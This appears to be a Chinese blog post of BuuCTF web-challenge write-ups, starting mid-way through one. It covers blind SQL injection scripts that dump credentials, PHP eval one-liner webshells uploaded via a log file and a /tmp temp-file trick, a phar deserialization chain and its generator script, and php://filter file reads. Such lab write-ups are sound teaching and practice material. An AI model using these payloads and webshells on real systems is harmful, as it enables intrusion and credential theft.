$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

这里对id进行了两次处理:第一次addslashes第二次str_replace。看了wp知道这里存在单引号逃逸的问题,比如我输入\\0,先经过addslashes会变成\\\\0,其中\\0会被替换成空剩\\,这东西会把后面紧跟的'给转义,比如:

select * from iamges where id='\\' or path=' or 1=1 # '

这时id的值是' or path=,后面那个单引号注释掉就行。

/image.php?id=\\0&path=or 1=1 %23

ciscneasyweb4

/image.php?id=\\0&path=or 1=0 %23

ciscneasyweb5

布尔盲注,先看看要怎么区分这两个页面(其实就是id=1和id=0):

id=1

ciscneasyweb6

id=0

ciscneasyweb7

通过JF区分就行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests

url = "http://3c0a9f91-d286-48a3-9bac-5dc484fbca9a.node4.buuoj.cn:81/image.php"
result = ''

for i in range(0, 30):
right = 127
left = 32
mid = (right + left)//2
while right > left:
payload = " or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))>%d,1,0)#" % (i, mid)
params = {
'id': '\\0',
'path': payload
}
response = requests.get(url, params=params)

if "JF" in response.text:
left = mid + 1
else:
right = mid
mid = (right + left)//2

result += chr(mid)
print(result)

images,users

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests

url = "http://3c0a9f91-d286-48a3-9bac-5dc484fbca9a.node4.buuoj.cn:81/image.php"
result = ''

for i in range(0, 30):
right = 127
left = 32
mid = (right + left)//2
while right > left:
payload = " or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),%d,1))>%d,1,0)#" % (i, mid)
params = {
'id': '\\0',
'path': payload
}
response = requests.get(url, params=params)

if "JFIF" in response.text:
left = mid + 1
else:
right = mid
mid = (right + left)//2

result += chr(mid)
print(result)

id,path,username,password

注意这里不能直接’users’因为单引号被过滤了,要么直接爆库里的所有列名,要么和其它师傅一样把'users'这个字符串转换成十六进制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests

url = "http://3c0a9f91-d286-48a3-9bac-5dc484fbca9a.node4.buuoj.cn:81/image.php"
result = ''

for i in range(0, 30):
right = 127
left = 32
mid = (right + left)//2
while right > left:
payload = " or if(ascii(substr((select group_concat(username,password) from (users)),%d,1))>%d,1,0)#" % (i, mid)
params = {
'id': '\\0',
'path': payload
}
response = requests.get(url, params=params)

if "JFIF" in response.text:
left = mid + 1
else:
right = mid
mid = (right + left)//2

result += chr(mid)
print(result)

admin 8ef403207a4691e2271b

登录:

ciscneastweb7

直接上传php后缀的报错了,试试其它后缀发现phtml的可以:

ciscneasyweb8

访问log/upload.19b6649eefbd2ed612b5e53d34e1a1c8.log.php

ciscneasyweb9

可以看到他只是单纯把文件名存到这个日志文件里了,真正上传到哪去了我也没找到。。

不过这个日志文件的后缀是.php,是不是可以直接上传一个文件名是一句话木马,然后没后缀的文件?

前面知道php这东西大小写都被过滤了,不过一句话还有其它写法,比如:

<?=@eval($_POST['a']);?>

ciscneasyweb10

传完了直接访问就行,不过不知道怎么回事我这个页面并没有我上传这个东西的文件名?但命令可以正常执行

ciscneasyweb12

POSTa=system('cat /flag');就行

[SWPUCTF 2018]SimplePHP

simplephp1

唉,好像又是文件上传

simplephp2

源码中存在提示:<!--flag is in f1ag.php-->

同时注意到file.php?file=这东西,想着用伪协议读读源码啥的发现读不了。。直接输进去反而有回显:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
//file.php?file=index.php
<?php
header("content-type:text/html;charset=utf-8");
include 'base.php';
?>
//file.php?file=base.php
<?php echo $_SERVER['REMOTE_ADDR'];?>
//file.php?file=file.php
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>
//file.php?file=upload_file.php
<?php
include 'function.php';
upload_file();
?>
//file.php?file=function.php
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>
//file.php?file=class.php
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>

注意这段代码和注释//$this->source = phar://phar.jpg

1
2
3
4
5
6
7
$show = new Show(); 
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}

注意file.php下有这么个东西:

ini_set('open_basedir','/var/www/html/'); 结合注释f1ag.php

目标文件/var/www/html/f1ag.php

phar反序列化,先写链子:

提示flagf1ag.php中,C1e4r下存在__destruct,以这东西为起点调用Show下的__toString

1
2
3
4
5
6
$a = new C1e4r();
$b = new Show();
$c = new Test();
$a -> str = $b;//触发Show下的__toString方法,因为一个类被当成字符串了
$b->str['str']=$c;//触发__get方法,因为Test底下并没有source。这时$key就是source
$c -> params = Array("source"=>"/var/www/html/f1ag.php");//注意ini_set

生成phar文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

class C1e4r
{
public $test;
public $str;

}

class Show
{
public $source;
public $str;

}
class Test
{
public $file;
public $params;

}


$a = new C1e4r();
$b = new Show();
$c = new Test();
$a -> str = $b;
$b->str['str']=$c;
$c -> params = Array("source"=>"/var/www/html/f1ag.php");

$phar =new Phar("pharwhat.phar");
$phar->startBuffering();
$phar->setStub("__HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

生成pharwhat.phar,然后修改下后缀:"gif","jpeg","jpg","png"挑一个就行。

注意:

1
2
3
4
5
6
7
8
function upload_file_do() { 
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);

如果我们上传pharwhat.jpg,那么最终上传路径是:

upload/92f5bc75f24c46a61e46ab7b46dcb42d.jpg

simplephp18

然后base64解码就行:

1
2
3
4
<?php 
//$a = 'flag{0ad36cdc-1e96-44ed-a9cb-a5fe000473c7}';
?>

后面看其它师傅们的wp时发现在生成phar文件时可以这么写:

$phar->setStub("GIF89A<?php XXX __HALT_COMPILER(); ?>");

其实就是加了个GIF89A欺骗头,这道题不加也能拿结果(因为并没有检测文件内容)。生成的文件内容是:

simplephp4

看样子以后还是加上欺骗头好一些,不加白不加。。

[NPUCTF2020]ezinclude

ezinclude1

看源码:

1
2
3
username/password error<html>
<!--md5($secret.$name)===$pass -->
</html>

抓包:

ezinclude2

注意Cookie里给了哈希值,想着这东西会不会要求$pass变量强等于它?不过pass怎么 传也没说,就用GET方法传着试了试:

ezinclude3

访问flflflflag.php

ezinclude4

我这个环境不知道怎么回事一直回显404。。只能在bp上看了:

1
2
3
4
5
6
7
8
9
10
11
<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
include($_GET["file"])</body>
</html>

文件包含,不过要包含啥也没提示,想着写个一句话进去:

data://text/plain,%3C?php%20@eval($_POST[%27viper%27]);?%3E

ezinclude5

data,input这种能执行命令的协议都被过滤了,不过filter还能用,尝试读下flflflflag.php源码

/flflflflag.php?file=php://filter/convert.base64-encode/resource=flflflflag.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){//is表示忽略大小写加单行匹配
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

后面看了wp,用御剑还能扫出来dir.php这么个东西,利用伪协议读他的源码:

参考https://www.shawroot.cc/1159.html

1
2
3
4
5
6
//file=php://filter/read=convert.base64-encode/resource=dir.php
<?php
var_dump(scandir('/tmp'));
?>
//获取指定目录(此处为/tmp)中的所有文件和目录,并打印它们的详细信息

php7.0的bug:

?file=php://filter/string.strip_tags/resource=/etc/passwd

使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录。该方法仅适用于以下php7版本,php5并不存在该崩溃。

1
2
3
4
5
• php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复

• php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复

• php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复
1
2
3
4
5
6
7
8
9
10
11
#参考https://www.cnblogs.com/Article-kelp/p/14826360.html
import requests as res

url="http://5efafd4f-4bae-4237-b3b6-5a8e41058c3c.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"

phpfile="<?php @eval($_POST['cmd']); ?>" #phpfile对应的就是上传的文件的内容
filedata={
"file":phpfile
}
bak=res.post(url=url,files=filedata)
print(bak.text)

回显:

ezinclude6

接下来就要用到刚才的dir.php了,因为我们上传的一句话被存到tmp目录(文件名我们并不知道,这东西是个临时文件),访问dir.php就能获得文件名phpgkdwwM

ezinclude7

蚁剑连接(这里文件名换了是因为环境重开了一次,注意没必要在后面加php后缀)

ezinlucde1

不过奇怪的是啥都没有。。:

ezinlucde99

后面想着用蚁剑的插件:

ezinlude100

又去看了wp。。。flagphpinfo里。。


BuuCTF做题记录_5
http://example.com/2023/11/29/BuuCTF做题记录_5/
作者
notbad3
发布于
2023年11月29日
许可协议